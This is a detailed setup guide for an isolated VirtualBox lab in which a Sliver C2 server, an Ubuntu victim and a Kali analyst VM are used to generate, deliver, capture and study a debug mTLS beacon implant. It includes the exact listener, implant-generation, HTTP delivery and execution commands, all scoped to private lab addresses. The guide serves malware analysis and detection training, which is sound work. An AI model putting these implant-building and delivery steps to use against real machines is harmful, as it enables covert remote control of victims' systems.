Ghost Lock: local Sliver VM lab

Team setup guide | Checked 28 October 2026

This guide produces the same three-machine lab on Windows, Linux, and macOS hosts. Complete the host-specific installation steps, then follow the common guest instructions. All three guests run Linux, so their commands stay the same across host operating systems.

The baseline is a five-second Sliver mTLS beacon running as an ordinary user on Ubuntu, with a separate Kali analyst machine. The guide includes an interactive-session check, sample distribution, packet capture, rollback, and a repeatable team handoff. Use these instructions on the VMs you create for Ghost Lock.

Versions checked: Ubuntu Server 24.04.5 LTS; Kali 2026.3, the current tested point-release image; Sliver 1.7.9; VirtualBox 7.2.22. Kali is a rolling distribution: updating it can move installed packages beyond the original ISO. Record the update date and package versions. The instructions were checked against official documentation and Sliver 1.7.9 source; the three-VM walkthrough was not boot-tested here.

Command locations: HOST means your physical computer's terminal or PowerShell. C2 means a Linux shell on ghostlock-c2. VICTIM and ANALYST mean their respective Linux shells. SLIVER means the interactive Sliver console on C2. Do not paste Sliver commands into Bash, or Bash commands into Sliver. Do not type example prompt characters. Unless a step says otherwise, use your ordinary guest account and add sudo only where shown.

Accounts and names: Create the ordinary sudo-capable user glab on all three VMs. Give each VM its own password. The VirtualBox display name and the guest hostname should match. Requirement 5 is interpreted as communication among all three named VMs and their physical host.

1. Choose the architecture and check host capacity

VirtualBox virtualizes a compatible CPU architecture; it does not make an Apple Silicon Mac into an x86 PC. Choose the guest images before downloading anything.

Physical host	VirtualBox installer	Ubuntu/Kali guest architecture	Sliver implant architecture
Windows or Linux with Intel/AMD x86-64	Windows x64 or Linux amd64	amd64 / x86_64	amd64
Intel Mac	macOS / Intel	amd64 / x86_64	amd64
Apple Silicon Mac	macOS / Apple Silicon	arm64 / AArch64	arm64
Windows 11 on ARM	Windows ARM; support is experimental	arm64 / AArch64	arm64
Linux on ARM	No standard supported VirtualBox Linux ARM host package in the checked installation guide	Use a team x86 host for the VirtualBox baseline	Match the remote victim

Check your hardware in Windows Settings > System > About, or macOS Apple menu > About This Mac. On Linux, run uname -m: x86_64 means amd64; aarch64 means arm64. In a guest, dpkg --print-architecture gives the architecture to use for its Sliver binary.

The VMs require 10 GiB of RAM together. Plan on at least 16 GB of physical RAM, with 24-32 GB more comfortable for Kali and reverse-engineering tools. An 8 GB computer cannot run all three concurrently with the

requested allocations. Reserve roughly 150-200 GB of free SSD space for virtual disks, installation media, updates, and snapshots. Allocate 2 virtual CPUs to C2, 1 to victim, and 2 to analyst; on a small CPU, 1 each is an acceptable starting point. Keep the requested memory allocations unchanged.

For identical executable behavior across a mixed-architecture team, use a shared x86-64 lab host. An ARM Kali analyst can statically inspect an amd64 ELF, but cannot run it natively. An amd64 VM or OVA does not become an ARM VM when copied to an Apple Silicon Mac.

2. Install VirtualBox on the physical host

Use https://www.virtualbox.org/wiki/Downloads and the package for your host OS and CPU. Prefer a common VirtualBox 7.2 release across the team. The Extension Pack is unnecessary for this lab. Guest Additions are separate and are not required for networking or SSH.

Windows host

1. For Intel/AMD machines, open Task Manager > Performance > CPU and confirm Virtualization is enabled. If disabled, enable Intel VT-x or AMD-V/SVM in the computer's UEFI settings. Follow your computer manufacturer's instructions.
2. Download and run the matching VirtualBox installer. Accept the administrator prompt and install the networking components, including host-only networking. A brief network interruption during driver installation is normal.
3. Keep the default installation directory. Optional Python API bindings are not needed; deselect them if the installer asks for Python dependencies.
4. Reboot if requested and open VirtualBox Manager. Use the current VirtualBox release before troubleshooting conflicts with Hyper-V or Windows security features; do not start by disabling host protections.
5. Check the command-line installation in PowerShell:

```
& "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" --version
```

Linux host: Ubuntu, Debian, or Linux Mint

1. Download the Oracle .deb matching your actual host release and save it in an otherwise empty ~/Downloads/ghostlock-vbox folder. Mint users choose the supported Ubuntu base release corresponding to their Mint version. Do not install an Ubuntu guest package on a Debian host or mix Oracle and distribution VirtualBox installations.
2. In a HOST terminal, install the build prerequisites and matching kernel headers:

```
sudo apt update
sudo apt install -y build-essential dkms linux-headers-$(uname -r)
cd ~/Downloads/ghostlock-vbox
sudo apt install ./virtualbox-7.2_*.deb
```

3. If Secure Boot prompts for a Machine Owner Key, complete the module-signing/enrollment flow and reboot. If VirtualBox reports that vboxdrv is missing, first check that the headers match the running kernel and that module signing completed. Oracle installations also provide sudo /sbin/vboxconfig for rebuilding their modules.
4. Open VirtualBox from the applications menu. Verify VBoxManage --version in a terminal. USB group membership is not needed for this lab.

For Fedora/RHEL-family hosts, use Oracle's matching .rpm and the distribution's gcc, make, perl, kernel-devel, and kernel-headers packages; install the local RPM with sudo dnf install ./DOWNLOADED-PACKAGE.rpm, substituting its real filename. kernel-devel must match uname -r; update and reboot first if the installed kernel is older than the available headers. For Arch with the standard linux kernel, use sudo pacman -Syu virtualbox virtualbox-host-modules-arch and reboot; custom/LTS kernels require the appropriate headers and module package, commonly virtualbox-host-dkms. Use your distribution's current supported packaging rather than

forcing a package built for another release.

macOS host

1. Check About This Mac: Intel and Apple Silicon use different installers and different guest ISOs.
2. Open the matching VirtualBox .dmg, then run VirtualBox.pkg. Complete installation and any approval explicitly requested in System Settings > Privacy & Security. Reboot if requested.
3. Open VirtualBox from Applications. In a HOST Terminal, verify:

```
/Applications/VirtualBox.app/Contents/MacOS/VBoxManage --version
```

4. On current macOS, the lab attachment is called Host-Only Network. Use that option when it appears; Host-Only Adapter is the older interface and may be unavailable. Apple Silicon guests must use ARM64 images.

3. Download and verify the guest ISOs

Download these two operating-system installers on the HOST. The same Ubuntu ISO installs both server VMs. Use full installer ISOs, not Raspberry Pi images, WSL images, or weekly Kali builds.

Guest	Intel/AMD and Intel Mac ISO	ARM host ISO
C2 and victim	ubuntu-24.04.5-live-server-amd64.iso	ubuntu-24.04.5-live-server-arm64.iso
Analyst	kali-linux-2026.3-installer-amd64.iso	kali-linux-2026.3-installer-arm64.iso

Ubuntu amd64: https://releases.ubuntu.com/24.04.5/

Ubuntu arm64: https://cdimage.ubuntu.com/ubuntu/releases/24.04.5/release/ . Select the ordinary live-server-arm64 ISO, rather than the largemem variant.

Kali: https://www.kali.org/get-kali/#kali-installer-images . Select the tested point-release Installer for your architecture. If using this guide later, choose the current tested point release and record the exact filename. Kali does not use a conventional fixed stable release branch by default.

Compare each downloaded ISO's SHA-256 to the publisher's matching checksum. Replace ISO-FILENAME below with the real filename; Linux, Windows, and macOS calculate the same digest.

```
# Linux HOST
sha256sum ISO-FILENAME

# Windows HOST
Get-FileHash .\ISO-FILENAME -Algorithm SHA256

# macOS HOST
shasum -a 256 ISO-FILENAME
```

The full hex digest must match the entry for that architecture and exact filename. For publisher authentication as well as corruption checking, follow Ubuntu/Kali's signed-checksum verification instructions linked from their download documentation.

4. Create the common host-only lab network

Use two NICs per VM: Adapter 1 is ordinary NAT for downloads and package updates; Adapter 2 is the shared host-only lab network. Independent ordinary NAT adapters may all show 10.0.2.15 inside their guests; that is normal, and those addresses are not the lab's cross-VM addresses.

Device	Host-only IPv4 address	Purpose
Physical host	192.168.56.1/24	SSH/SCP from your computer
ghostlock-c2	192.168.56.10/24	Sliver mTLS on TCP 8888; sample HTTP on TCP 8000
ghostlock-victim	192.168.56.20/24	Runs the training sample
ghostlock-analyst	192.168.56.30/24	Analysis and passive monitoring

1. In VirtualBox Manager, open File > Tools > Network Manager, or Tools > Network, depending on the UI layout. If network controls are hidden, switch the UI to Expert view.
2. Create one Host-only network and record its displayed name. All three VMs must select this same object.
3. On Windows/Linux, set the host adapter's IPv4 address to 192.168.56.1 and mask to 255.255.255.0. The interface may be named VirtualBox Host-Only Ethernet Adapter or vboxnet0.
4. On current macOS, configure Host-only Networks for mask 255.255.255.0, lower address 192.168.56.1, and upper address 192.168.56.254. The host uses the lowest address. Depending on the UI, these are network-range settings rather than an editable persistent host adapter.
5. Disable the host-only network's DHCP server if the UI permits. If it must remain enabled, restrict its lease pool to 192.168.56.100-192.168.56.200, with a DHCP server address outside the fixed guest addresses, commonly .2. Never let DHCP allocate .1, .10, .20, or .30.
6. Leave host Internet Connection Sharing, IP forwarding, and bridging off for this network. NAT will supply temporary Internet access separately. Host-only networking includes your physical host; it is not an isolation boundary protecting that host from its guests.

No gateway or DNS server belongs on the guests' host-only NIC. The NAT NIC supplies the Internet default route and DNS while connected. Avoid Bridged Adapter for the baseline. If your LAN or VPN already uses 192.168.56.0/24, choose another unused /24 in VirtualBox's permitted 192.168.56.0/21 range, and replace every address throughout this guide, including the embedded C2 address when generating the sample.

5. Create and install the three VMs

VirtualBox name and guest hostname	OS	RAM	CPUs	Dynamically allocated VDI
ghostlock-c2	Ubuntu Server 24.04.5 LTS	4096 MiB	2	40 GiB
ghostlock-victim	Ubuntu Server 24.04.5 LTS	2048 MiB	1	25 GiB
ghostlock-analyst	Kali 2026.3 Installer	4096 MiB	2	60 GiB

For each VM:

1. Click New and enter its exact name. Choose a dedicated Ghost Lock VM folder on your SSD.
2. Select the matching ISO. Use Linux / Ubuntu 64-bit for Ubuntu and Linux / Debian 64-bit for Kali on x86-64. On ARM, select the matching ARM64 guest type offered by your VirtualBox build. Never select an x86 guest type for an ARM image.
3. Select Skip Unattended Installation if offered. A manual installation gives consistent account and hostname choices across hosts; ARM does not support unattended setup in the checked release.
4. Set memory and CPUs from the table, and create the dynamically allocated VDI. Dynamic allocation grows disk usage as data is written; snapshots still need additional host storage.

5. Before starting, open Settings > Network. Enable Adapter 1 as NAT, with Cable Connected checked. Enable Adapter 2 as Host-Only Adapter on Windows/Linux or Host-Only Network on current macOS, selecting the network from step 4. Check Cable Connected on Adapter 2 too.
6. For analyst Adapter 2, set Advanced > Promiscuous Mode to Allow VMs, where supported. C2 and victim can remain Deny. This setting permits passive receipt of other VMs' traffic; it does not route that traffic through Kali. Some macOS host-only implementations may not offer equivalent visibility; step 11 verifies it and provides a capture fallback.
7. Disable shared folders, shared clipboard, and drag-and-drop for the baseline. SSH is the common file-transfer method. Keep default Linux display settings; Kali can use VMSVGA, 128 MB video memory, and 3D acceleration disabled. ARM guests require EFI and appropriate defaults supplied by VirtualBox.

Install Ubuntu on C2 and victim:

1. Start the VM and choose Try or Install Ubuntu Server. Select language and keyboard.
2. Choose ordinary Ubuntu Server, rather than a minimized installation. Let Adapter 1 get its NAT configuration automatically. The host-only NIC can remain unconfigured during installation. Skip proxy configuration unless your organization requires one, and keep the normal package mirror.
3. Use the entire virtual disk, with guided defaults. Check the displayed disk size matches this VM's VDI. For a simple disposable lab, disk encryption is optional; boot-time passphrases add a step to headless restarts.
4. In profile setup, use username glab and the VM's exact hostname: ghostlock-c2 or ghostlock-victim. Set a password you can enter when sudo requests it.
5. Select Install OpenSSH server and allow password authentication for the initial key setup. Skip optional snaps and Ubuntu Pro enrollment for this baseline.
6. Complete installation and reboot. Eject the installer ISO through Devices > Optical Drives if prompted or if the installer starts again.
7. Log in as glab. Ubuntu Server has a text console; the absence of a desktop is expected.

Install Kali on analyst:

1. Boot the Kali Installer ISO and choose Graphical install, or the text Install option if the graphical installer has display problems.
2. Select language, locale, and keyboard. When asked for a network interface, use Adapter 1/NAT. Leave the domain blank and set hostname ghostlock-analyst.
3. Create the ordinary user glab with a password. Using the installer avoids depending on prebuilt-image default credentials.
4. Use guided partitioning on the VM's virtual disk, with all files in one partition. Accept installation to that virtual disk only.
5. Select Xfce and the default tool collection. A full Everything installation is unnecessary. Use the Kali package mirror when asked.
6. Install GRUB on the VM's default virtual boot disk if the x86 installer asks; ARM uses its EFI boot flow. Finish, eject the ISO, reboot, and log in.

On each GUEST, check:

```
hostnamectl
cat /etc/os-release
dpkg --print-architecture
free -h
df -h /
```

The OS reports slightly less usable RAM than the configured allocation. If a hostname is wrong, use sudo hostnamectl set-hostname ghostlock-c2, substituting that guest's name, and update its 127.0.1.1 entry in /etc/hosts to match.

6. Update every VM and install the common tools

Keep NAT connected while completing package installation and initial Sliver setup. In EACH GUEST, run these commands individually and stop to resolve any failure before continuing:

```
sudo apt update
sudo apt full-upgrade -y
sudo apt install -y openssh-server openssh-client ca-certificates \
  curl wget git python3 python3-venv tmux nano less file binutils \
  tcpdump netcat-openbsd iproute2 iputils-ping dnsutils
mkdir -p ~/ghostlock/{samples,captures,logs,notes,serve,downloads}
sudo reboot
```

On C2 after reboot:

```
sudo apt install -y build-essential jq
```

On ANALYST after reboot:

```
sudo apt install -y wireshark tshark ghidra gdb strace ltrace \
  build-essential python3-pip pipx
```

Ghidra's Kali package supplies its required Java dependency; do not guess a JDK version from an older tutorial. For the initial baseline, answer No if Wireshark asks whether ordinary users may capture packets. The examples use sudo tcpdump for capture and ordinary-user Wireshark to open the resulting file. You can configure group-based capture permission later.

If APT says a mirror has an unexpected file size or hash, wait for mirror synchronization, then run sudo apt clean and sudo apt update before retrying. Do not disable repository signature checking. For an interrupted installation, use sudo dpkg --configure -a, then sudo apt --fix-broken install. If another package manager is running, let it finish; do not delete lock files. Kali should use Kali repositories; Ubuntu should use Ubuntu repositories.

Check date -u and timedatectl on all guests while Internet time synchronization is available. Large clock errors can break TLS and make captures difficult to correlate. Keep run timestamps in UTC. After returning from an old snapshot, check time again.

7. Assign the static lab addresses inside the guests

First identify the two interfaces in EACH GUEST:

```
ip -br link
ip -br address
ip route
```

Adapter 1 is often enp0s3 on Ubuntu or eth0 on Kali; Adapter 2 is often enp0s8 or eth1. ARM naming can differ. Compare each interface's MAC address from ip link with the MAC shown in that VM's VirtualBox adapter settings. Use the actual interface names below. Never assume an interface name merely from an example.

Ubuntu C2 and victim: Netplan

Do this from the VirtualBox console so a configuration error does not strand an SSH connection. These are new lab VMs: move their installer-created Netplan YAML files into a backup directory so there is exactly one authoritative lab configuration. Run once per Ubuntu VM:

```
sudo mkdir -p /root/ghostlock-netplan-backup
sudo mv /etc/netplan/*.yaml /root/ghostlock-netplan-backup/
sudo mkdir -p /etc/cloud/cloud.cfg.d
echo 'network: {config: disabled}' | \
  sudo tee /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg
sudo nano /etc/netplan/01-ghostlock.yaml
```

The cloud-init setting prevents it from recreating the installer network configuration on a later boot. In the editor, enter the following for C2, replacing enp0s3/enp0s8 if your MAC-address check found different names. YAML requires spaces; do not use tabs.

```
network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: true
    enp0s8:
      dhcp4: false
      dhcp6: false
      addresses:
        - 192.168.56.10/24
```

On victim, use the same configuration with 192.168.56.20/24. Do not copy .10 to both. In nano, save with Ctrl+O, Enter; exit with Ctrl+X. Apply and validate:

```
sudo chmod 600 /etc/netplan/01-ghostlock.yaml
sudo netplan generate
sudo netplan try
```

Confirm the new configuration when Netplan asks. If it fails, let the trial roll back, fix the file from the VM console, and retry. Then inspect ip -br address and ip route. The NAT NIC should have a DHCP address and the only Internet default route; the lab NIC should have its fixed /24 address and no gateway. In this new single-file setup, you can restore the original configuration by moving 01-ghostlock.yaml out of /etc/netplan, restoring the backed-up YAML files, and running sudo netplan apply from the console.

Kali analyst: NetworkManager

Find the connection profile attached to the lab NIC, rather than changing the NAT profile:

```
nmcli device status
nmcli -f NAME,DEVICE,TYPE connection show
```

For example, if the lab NIC is eth1 and its existing connection is Wired connection 2:

```
sudo nmcli connection modify "Wired connection 2" \
  connection.id ghostlock-lab \
  ipv4.method manual ipv4.addresses 192.168.56.30/24 \
  ipv4.gateway "" ipv4.dns "" ipv4.never-default yes \
  ipv6.method disabled
sudo nmcli connection up ghostlock-lab
```

Use the real profile name. If that NIC has no profile yet, create one instead of modifying a nonexistent profile:

```
sudo nmcli connection add type ethernet ifname eth1 \
  con-name ghostlock-lab ipv4.method manual \
  ipv4.addresses 192.168.56.30/24 \
  ipv4.never-default yes ipv6.method disabled
sudo nmcli connection up ghostlock-lab
```

Replace eth1 with the actual lab NIC. Use one method only and leave the NAT profile on automatic/DHCP.

In EACH GUEST, edit /etc/hosts with sudo nano /etc/hosts and add these entries once:

```
192.168.56.10 ghostlock-c2
192.168.56.20 ghostlock-victim
192.168.56.30 ghostlock-analyst
```

Keep the existing localhost entries. These mappings affect that guest only. Host-side SSH aliases are configured separately below.

8. Verify networking before installing Sliver

From EACH GUEST, test all fixed addresses, including the other two guests:

```
ping -c 3 192.168.56.10
ping -c 3 192.168.56.20
ping -c 3 192.168.56.30
getent hosts ghostlock-c2
ip route get 192.168.56.10
```

For C2, use ip route get 192.168.56.20 as the cross-VM route test. A cross-VM result should use the lab NIC and local .10/.20/.30 source address, not the NAT gateway. Ping to the guest's own address only checks its local configuration; the other two addresses are the important checks.

While NAT is connected, also check DNS and Internet access:

```
getent hosts ubuntu.com
curl -I https://ubuntu.com
```

From a Linux/macOS HOST, use ping -c 3 for each guest address. On Windows use ping -n 3, for example ping -n 3 192.168.56.10. All guest addresses must be reachable from the host. A host's firewall can independently block guest-to-host ping, so inability to ping .1 is not by itself proof that guest-to-guest traffic is broken.

If communication fails, check that all Adapter 2 attachments select the exact same host-only network; both cables are connected; every static IP is unique; all masks are /24; and the host/VPN has no conflicting route. Confirm the lab NIC configuration survived a guest reboot. If UFW is active, add scoped rules for the required ports instead of disabling it. On a guest with active UFW, allow SSH from the lab subnet:

```
sudo ufw allow from 192.168.56.0/24 to any port 22 proto tcp
```

On C2 with active UFW, also allow TCP 8888 and TCP 8000 from that same subnet. A normal fresh Kali install may not have the ufw command; inspect its actual firewall if necessary. Do not add firewall tooling just to make an absent command work.

9. Enable SSH and set up host access

In EACH GUEST, run:

```
sudo ssh-keygen -A
sudo install -d -m 755 /etc/ssh/sshd_config.d
sudo tee /etc/ssh/sshd_config.d/00-ghostlock.conf >/dev/null <<'EOF'
PermitRootLogin no
PubkeyAuthentication yes
PasswordAuthentication yes
KbdInteractiveAuthentication no
EOF
sudo /usr/sbin/sshd -t
sudo systemctl enable --now ssh
sudo systemctl restart ssh
systemctl is-active ssh
sudo ss -lntp 'sport = :22'
sudo ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub
```

sshd -t should produce no error; correct any error before restarting the service. The service should report active. Save the displayed ED25519 host fingerprint so you can verify the first login from your host. Password authentication is enabled for the initial key installation; use the glab account, not root.

Install/check the SSH client on your HOST

Linux: run ssh -V. On Ubuntu/Debian, install a missing client with sudo apt install openssh-client; on Fedora use sudo dnf install openssh-clients.

macOS: the built-in client should be available in Terminal; run ssh -V. You do not need to enable macOS Remote Login just to connect out to these guests.

Windows: open PowerShell and run ssh -V. If absent, open administrator PowerShell and install the client only:

```
Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
```

Open a new ordinary PowerShell window afterward. You do not need an SSH server on the physical Windows host for a local lab.

Test password login from your HOST

```
ssh glab@192.168.56.10
```

Compare the first-login ED25519 fingerprint with the one displayed on C2's console, accept the matching host key, and enter glab's C2 password. Password entry is normally invisible. Run hostname and then exit to return to the host. Repeat for .20 and .30.

Create one personal SSH key on your HOST

Linux/macOS:

```
mkdir -p ~/.ssh
chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_ghostlock
```

Windows PowerShell:

```
New-Item -ItemType Directory -Force "$HOME\.ssh" | Out-Null
ssh-keygen -t ed25519 -f "$HOME\.ssh\id_ed25519_ghostlock"
```

Use a passphrase. If the named key already exists, reuse it or choose another filename rather than overwriting it. Each teammate should create their own key. The .pub file may be installed on the VMs; the file without .pub stays private on its owner's host.

Install the public key on all three guests. On a Linux/macOS HOST:

```
for addr in 192.168.56.10 192.168.56.20 192.168.56.30; do
  cat ~/.ssh/id_ed25519_ghostlock.pub | \
    ssh glab@"$addr" \
    'umask 077; mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys'
done
```

On a Windows HOST:

```
foreach ($addr in "192.168.56.10","192.168.56.20","192.168.56.30") {
  Get-Content "$HOME\.ssh\id_ed25519_ghostlock.pub" |
    ssh "glab@$addr" "umask 077; mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys"
}
```

Enter each VM's password when asked. Verify key authentication, for example:

```
ssh -i ~/.ssh/id_ed25519_ghostlock glab@192.168.56.10
```

The password prompt should now be for the key's passphrase, if any, rather than the VM account password. Confirm the other two guests as well.

Create convenient SSH aliases on your HOST

Edit ~/.ssh/config on Linux/macOS. On Windows edit $HOME\.ssh\config with Notepad, saving the filename as config with no .txt extension. Add:

```
Host ghostlock-c2
    HostName 192.168.56.10

Host ghostlock-victim
    HostName 192.168.56.20

Host ghostlock-analyst
    HostName 192.168.56.30

Host ghostlock-*
    User glab
    IdentityFile ~/.ssh/id_ed25519_ghostlock
    IdentitiesOnly yes
```

On Linux/macOS set chmod 600 ~/.ssh/config. Now these work from HOST:

```
ssh ghostlock-c2
ssh ghostlock-victim
ssh ghostlock-analyst
```

After all team members' keys have been installed and tested on a shared VM, you may change PasswordAuthentication to no in 00-ghostlock.conf, validate with sudo /usr/sbin/sshd -t, and restart ssh. Keep the current connection or VirtualBox console open while testing a new connection. Do not make this change before everyone has a working key.

Copy files with SCP

From Linux/macOS HOST, a local file into C2:

```
scp ~/Downloads/example.py ghostlock-c2:ghostlock/
```

From Windows HOST, the corresponding example:

```
scp "$HOME\Downloads\example.py" ghostlock-c2:ghostlock/
```

From any HOST, copy a local src directory or retrieve a capture:

```
scp -r ./src ghostlock-c2:ghostlock/
scp ghostlock-analyst:ghostlock/captures/run01.pcap .
```

The text before the colon identifies the remote VM; the path after it is relative to glab's home directory unless it begins with /. Create destination directories first. SSH uses -p for a nondefault port; SCP uses uppercase -P. The baseline uses port 22 and requires no port forwarding. SSH aliases and keys configured on the host do not automatically exist inside the guests.

Optional clean checkpoint: before installing Sliver, shut down all three VMs and take a VirtualBox snapshot named 00-clean-network-ssh on each. Select a powered-off VM, open its Snapshots view, and click Take. This preserves the updated OS, tools, networking, and SSH before samples exist. Boot the VMs again with NAT connected before continuing. The final baseline checkpoint is taken in step 16.

10. Install the pinned Sliver release on C2

Use the official prebuilt server rather than a floating installer so every teammate gets the same release. Run in a C2 Linux shell, with NAT still connected:

```
cd ~/ghostlock/downloads
SLIVER_VERSION=v1.7.9
SLIVER_ARCH="$(dpkg --print-architecture)"
printf 'Downloading Sliver %s for Linux %s\n' \
  "$SLIVER_VERSION" "$SLIVER_ARCH"
curl -fL --output sliver-server \
  "https://github.com/BishopFox/sliver/releases/download/${SLIVER_VERSION}/sliver-server_linux-${SLIVER_ARCH}"
file sliver-server
sha256sum sliver-server
```

SLIVER_ARCH must be amd64 or arm64 for this guide. file should identify a Linux ELF executable of that architecture. Open https://github.com/BishopFox/sliver/releases/tag/v1.7.9 on the host, expand Assets, and compare SHA-256 with the exact sliver-server_linux-ARCH asset. GitHub also publishes these release-asset digests through its release API; detached .minisig files are available for signature verification. Do not compare against a client asset or a different architecture. After the digest matches:

```
sudo install -m 0755 sliver-server /usr/local/bin/sliver-server
tmux new -s sliver
sliver-server
```

Run sliver-server as glab. Initial setup extracts bundled resources and can take time; allow it to finish. The prebuilt release includes the matching build resources; a separate arbitrary system Go installation is unnecessary for this baseline. The console and listener ports used here do not need root privileges. This manual installation is run in tmux; it does not create a sliver system service.

Inside the SLIVER console, run:

```
version
help
generate beacon --help
mtls --help
```

Check the reported version before continuing. Detach the tmux terminal with Ctrl+B, release both keys, then D. Reattach later from a C2 shell with tmux attach -t sliver. Detaching leaves Sliver running; exiting the Sliver application stops it. To open another C2 shell, use a second host terminal and ssh ghostlock-c2.

C2 stores working state under glab's ~/.sliver by default. Use the same guest account consistently. That state includes the database and certificate material needed by generated implants; do not delete it between tests or accidentally start an unrelated server state with sudo. A separately installed C2 will not automatically authenticate an implant generated by another C2, even if both use .10.

The requested 4 GiB allocation is aimed at this unobfuscated debug baseline. If a build is killed for lack of memory, check free -h, swapon --show, and sudo journalctl -k -b for OOM messages. If there is no existing swap, add a 4 GiB swap file on C2 only:

```
sudo fallocate -l 4G /swapfile-ghostlock
sudo chmod 600 /swapfile-ghostlock
sudo mkswap /swapfile-ghostlock
sudo swapon /swapfile-ghostlock
echo '/swapfile-ghostlock none swap sw 0 0' | sudo tee -a /etc/fstab
```

Run those commands once, only if the named swap file does not already exist. Swap avoids some memory failures at the cost of speed. More demanding obfuscated builds are a later experiment and can need more memory or an external builder.

11. Start the listener, generate the training sample, and prepare capture

In SLIVER:

```
mtls --lhost 192.168.56.10 --lport 8888
jobs
```

The listener should appear as an mTLS TCP job on port 8888. In another C2 shell, verify:

```
ss -lntp 'sport = :8888'
```

From VICTIM and ANALYST, test reachability:

```
nc -vz 192.168.56.10 8888
```

This tests an open TCP port, not Sliver authentication. A listener-side TLS error caused by a bare nc connection is expected. Record the architecture from the VICTIM's dpkg --print-architecture output; that determines the implant architecture.

For an amd64 VICTIM, enter this as ONE LINE in SLIVER:

```
generate beacon --os linux --arch amd64 --mtls 192.168.56.10:8888 --format exe --seconds 5 --jitter 0 --debug
  --skip-symbols --name ghostlock-mtls-amd64 --save /home/glab/ghostlock/serve/ghostlock-mtls
```

For an arm64 VICTIM, use this alternative, again as ONE LINE:

```
generate beacon --os linux --arch arm64 --mtls 192.168.56.10:8888 --format exe --seconds 5 --jitter 0 --debug
  --skip-symbols --name ghostlock-mtls-arm64 --save /home/glab/ghostlock/serve/ghostlock-mtls
```

Generate one appropriate sample, not both into the same output filename. For later new builds, choose a new Sliver --name and artifact filename; reusing an existing implant name may produce a database uniqueness error. Use regenerate to retrieve an existing build instead of silently replacing the baseline.

The settings deliberately simplify analysis:

Setting	Effect
generate beacon	Periodic task check-ins rather than a permanent interactive session
--mtls ...:8888	One fixed lab endpoint using mutual TLS
--os linux --format exe	A normal Linux ELF executable; exe does not mean Windows here
--seconds 5 --jitter 0	Nominal five-second interval with no added random jitter
--debug	Diagnostic logging, retained debug information, and reduced compiler optimization/inlining in this release
--skip-symbols	Disables symbol obfuscation; it does not mean strip the symbol table

Debug already disables symbol obfuscation in 1.7.9; the extra flag makes the teaching intent explicit. Jitter is expressed in seconds, not percent. A Go executable still contains a substantial runtime, so this is a relatively approachable Sliver sample, not a tiny introductory reverse-engineering exercise. Timing includes processing and scheduling overhead and will not be mathematically exact.

In a C2 shell, check and hash the output:

```
cd ~/ghostlock/serve
file ghostlock-mtls
readelf -S ghostlock-mtls | less
sha256sum ghostlock-mtls > SHA256SUMS
cat SHA256SUMS
```

Record the exact generation command, Sliver version, victim architecture, endpoint, and digest in your run notes. The serve directory should contain the sample and checksum only; do not put ~/.sliver or SSH keys there.

Before execution, verify passive traffic visibility. On ANALYST, substitute its actual lab NIC for eth1:

```
sudo tcpdump -ni eth1 \
  'icmp and host 192.168.56.10 and host 192.168.56.20'
```

While that runs, on VICTIM run ping -c 3 192.168.56.10. Analyst should see requests and replies between .20 and .10, even though .30 is not an endpoint. Press Ctrl+C to stop tcpdump. If only analyst's own traffic is visible, recheck its VirtualBox Adapter 2 promiscuous setting, correct capture NIC, and capture permissions. Seeing ARP alone does not prove cross-VM unicast visibility.

If host-only mirroring is unsupported or unreliable on a particular host, capture directly on C2's lab NIC using the fallback below, then copy the capture to analyst. A live detector can also run on C2 for that experiment. Do not

assume promiscuous mode makes Kali an inline router. An inline spoiling experiment requires an explicitly documented routing topology later; it is not part of this passive baseline.

12. Disconnect Internet access and serve the sample

Finish all downloads first, including the optional analyst source clone in step 15. Then shut down each guest cleanly and, in its VirtualBox Settings > Network > Adapter 1, uncheck Cable Connected. Leave Adapter 1 defined as NAT and leave Adapter 2 connected. Boot all three again. Where supported, Devices > Network can toggle the cable while running, but a clean shutdown is the clearest initial procedure.

Check that guest-to-guest ping and host SSH still work. curl --connect-timeout 5 -I https://ubuntu.com should fail once NAT is disconnected. If it succeeds, find the remaining egress path. Host-only alone does not prevent forwarding by a host that has been configured to share its Internet connection.

After a VM reboot, tmux sessions and their processes must be started again. In a C2 shell, run:

```
tmux new -s sliver
sliver-server
```

Then in SLIVER, start the mTLS listener again and check it:

```
mtls --lhost 192.168.56.10 --lport 8888
jobs
```

If you toggled the NAT cable while keeping the VM running instead of rebooting, reattach the existing tmux session with tmux attach -t sliver and inspect jobs first; do not start a duplicate listener. The sample remains paired with this C2 state across a normal reboot.

In a separate C2 shell, serve only the intended directory:

```
python3 -m http.server 8000 --bind 192.168.56.10 \
  --directory /home/glab/ghostlock/serve
```

Leave that terminal open or run the server in its own tmux session. This is a temporary plain-HTTP lab file server, separate from the Sliver mTLS listener. It listens on the lab IP, not your physical LAN. On VICTIM:

```
cd ~/ghostlock/samples
curl -f --output ghostlock-mtls \
  http://192.168.56.10:8000/ghostlock-mtls
curl -f --output SHA256SUMS \
  http://192.168.56.10:8000/SHA256SUMS
sha256sum -c SHA256SUMS
file ghostlock-mtls
chmod 700 ghostlock-mtls
```

Require an OK checksum result and the correct architecture before execution. HTTP delivers the file; the downloaded executable makes its own mTLS connection to port 8888. Modern scp is an alternative transfer method, but the same bytes and hash should be used for victim and analyst.

13. Capture traffic and run the sample on victim

Start a capture before launching the executable. On ANALYST, if step 11 confirmed visibility:

```
sudo tcpdump -Z glab -i eth1 -nn -s 0 -U \
  -w /home/glab/ghostlock/captures/run01.pcap \
  'host 192.168.56.10 and host 192.168.56.20 and tcp port 8888'
```

Replace eth1 with analyst's actual lab NIC. -Z glab opens the capture device with elevated privileges, then writes the output as glab so the file can be created in that user's directory. Leave the capture running in a separate terminal. The filter intentionally excludes SSH and the sample download; use a new broadly filtered capture if delivery traffic is itself part of an experiment. Do not reuse run01.pcap for a later run unless you intend to replace it.

Fallback on C2, replacing enp0s8 with C2's lab NIC:

```
sudo tcpdump -Z glab -i enp0s8 -nn -s 0 -U \
  -w /home/glab/ghostlock/captures/run01-c2.pcap \
  'host 192.168.56.20 and tcp port 8888'
```

On VICTIM, first run visibly in the foreground as glab:

```
cd ~/ghostlock/samples
./ghostlock-mtls
```

